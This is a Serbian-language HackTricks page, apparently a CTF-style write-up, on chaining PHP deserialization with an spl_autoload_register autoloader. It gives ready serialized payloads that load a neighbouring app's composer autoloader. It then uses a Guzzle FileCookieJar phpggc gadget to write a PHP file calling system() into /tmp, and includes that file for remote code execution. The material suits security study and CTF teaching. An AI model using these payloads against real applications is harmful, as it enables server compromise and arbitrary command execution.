7.6 KiB
PHP - Deserijalizacija + Autoload klasa
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Prvo, trebali biste proveriti šta su Autoload klase.
PHP deserijalizacija + spl_autoload_register + LFI/Gadget
Nalazimo se u situaciji gde smo pronašli PHP deserijalizaciju u web aplikaciji bez biblioteke koja je ranjiva na gadgete unutar phpggc
-a. Međutim, u istom kontejneru se nalazi druga web aplikacija sa ranjivim bibliotekama. Stoga je cilj da se učita kompozer loader druge web aplikacije i iskoristi ga da se učita gadget koji će iskoristiti tu biblioteku sa gadgetom iz web aplikacije ranjive na deserijalizaciju.
Koraci:
- Pronašli ste deserijalizaciju i nema gadgeta u trenutnom kodu aplikacije
- Možete iskoristiti funkciju
spl_autoload_register
kao što je prikazano u nastavku da biste učitali bilo koji lokalni fajl sa ekstenzijom.php
- Za to koristite deserijalizaciju gde će ime klase biti unutar
$name
. Ne možete koristiti "/" ili "." u imenu klase u serijalizovanom objektu, ali kod zamenjuje donje crte ("_") sa kosim crtama ("/"). Dakle, ime klase kao što jetmp_passwd
će biti transformisano u/tmp/passwd.php
i kod će pokušati da ga učita.
Primer gadgeta će biti:O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
{% hint style="success" %}
Ako imate upload fajla i možete da otpremite fajl sa .php
ekstenzijom, možete direktno iskoristiti ovu funkcionalnost i dobiti RCE.
{% endhint %}
U mom slučaju, nisam imao ništa slično, ali unutar iste kontejnera postojala je druga veb stranica kompozera sa ranjivom bibliotekom za phpggc
gedžet.
- Da biste učitali ovu drugu biblioteku, prvo morate učitati kompozer loader te druge veb aplikacije (jer trenutna aplikacija neće pristupiti bibliotekama druge aplikacije.) Znajući putanju aplikacije, to možete veoma lako postići sa:
O:28:"www_frontend_vendor_autoload":0:{}
(U mom slučaju, kompozer loader se nalazio u/www/frontend/vendor/autoload.php
) - Sada možete učitati loader druge aplikacije, pa je vreme da generišete phpggc payload koji ćete koristiti. U mom slučaju, koristio sam
Guzzle/FW1
, što mi je omogućilo da pišem bilo koji fajl u fajl sistem. - NAPOMENA: Generisani gedžet nije radio, da bi radio, izmenio sam payload
chain.php
od phpggc i postavio sve atribute klasa sa privatnih na javne. Ako to nisam uradio, nakon de-serijalizacije stringa, atributi kreiranih objekata ne bi imali vrednosti. - Sada imamo način da učitamo loader druge aplikacije i imamo phpggc payload koji radi, ali moramo ovo uraditi U ISTOM ZAHTEVU da bi loader bio učitan kada se gedžet koristi. Za to sam poslao serijalizovan niz sa oba objekta kao:
- Možete videti prvo učitavanje loadera, a zatim payloada
{% code overflow="wrap" %}
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
{% endcode %}
- Sada možemo kreirati i pisati datoteku, međutim, korisnik ne može pisati u bilo kojem folderu unutar web servera. Dakle, kao što možete videti u payload-u, PHP poziva
system
sa nekim base64 koji je kreiran u/tmp/a.php
. Zatim, možemo ponovno koristiti prvi tip payload-a koji smo koristili kao LFI da učitamo kompozitorov loader druge web aplikacije da učitamo generisanu datoteku/tmp/a.php
. Samo je dodajte u deserialization gadget:
{% code overflow="wrap" %}
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
{% endcode %}
Rezime payload-a
- Učitajte composer autoload drugog veb aplikacije u istom kontejneru
- Učitajte phpggc gadget da biste zloupotrebili biblioteku druge veb aplikacije (početna veb aplikacija podložna deserializaciji nije imala nijedan gadget u svojim bibliotekama)
- Gadget će kreirati datoteku sa PHP payload-om u /tmp/a.php sa zlonamernim komandama (korisnik veb aplikacije ne može pisati u bilo kojem folderu bilo koje veb aplikacije)
- Poslednji deo našeg payload-a će učitati generisanu PHP datoteku koja će izvršiti komande
Bilo je potrebno dva puta pozvati ovu deserializaciju. U mom testiranju, prvi put je datoteka /tmp/a.php
kreirana, ali nije učitana, a drugi put je pravilno učitana.
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite oglašavanje vaše kompanije u HackTricks-u ili preuzmete HackTricks u PDF formatu, proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.